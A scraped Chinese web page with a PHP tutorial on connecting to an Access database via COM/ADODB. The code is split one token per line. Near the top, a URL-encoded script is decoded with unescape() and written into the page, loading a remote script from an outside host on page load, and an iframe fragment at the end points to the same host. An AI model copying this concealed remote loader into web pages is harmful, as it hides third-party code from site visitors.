PHP连接Access数据库无错版

 

HTML Tags and JavaScript tutorial

<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>

PHP连接Access数据库无错版

<?
$conn
=
@
new
 COM(
"
adodb.connection
"
) or 
die
(
"
connection is error!
"
); 
$connStr
=
"
Provider = Microsoft.Jet.OLEDB.4.0;Data Source=
"
.
realpath
(
"
easy.mdb
"
);
$conn
->
Open(
$connStr
); 
$sqlStr
=
"
select * from Userdata
"
;
$rs
 
=
 @
new
 COM(
"
ADODB.RecordSet
"
); 
$rs
->
Open(
$sqlStr
,
$conn
,
1
,
3
);
//
$rs=$conn->execute(sqlStr); 
$i
=
0
;  
while
 (
!
$rs
->
eof)
{  
  
$i
+=
1
; 
  
$U_money
=
$rs
->
Fields[
"
U_money
"
]
->
Value;
  
$U_name
=
$rs
->
Fields[
"
U_name
"
]
->
Value;
//
   $U_money=$rs["U_money"];
//   $U_name=$rs["U_name"];
  
echo
 
"
$U_money
"
;
  
echo
 
"
$U_name
"
;
  
echo
 
"
<br/>
"
;
  
$rs
->
movenext();  
} 
echo
 
"
共 $i 条记录
"
;
$rs
->
Close();
$rs
->
Release();
$rs
=
null
;
$conn
->
Close(); 
$conn
->
Release();
$conn
=
null
;
?>
 
以上代码在winXP SP2 IIS5.1 PHP5下测试通过
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">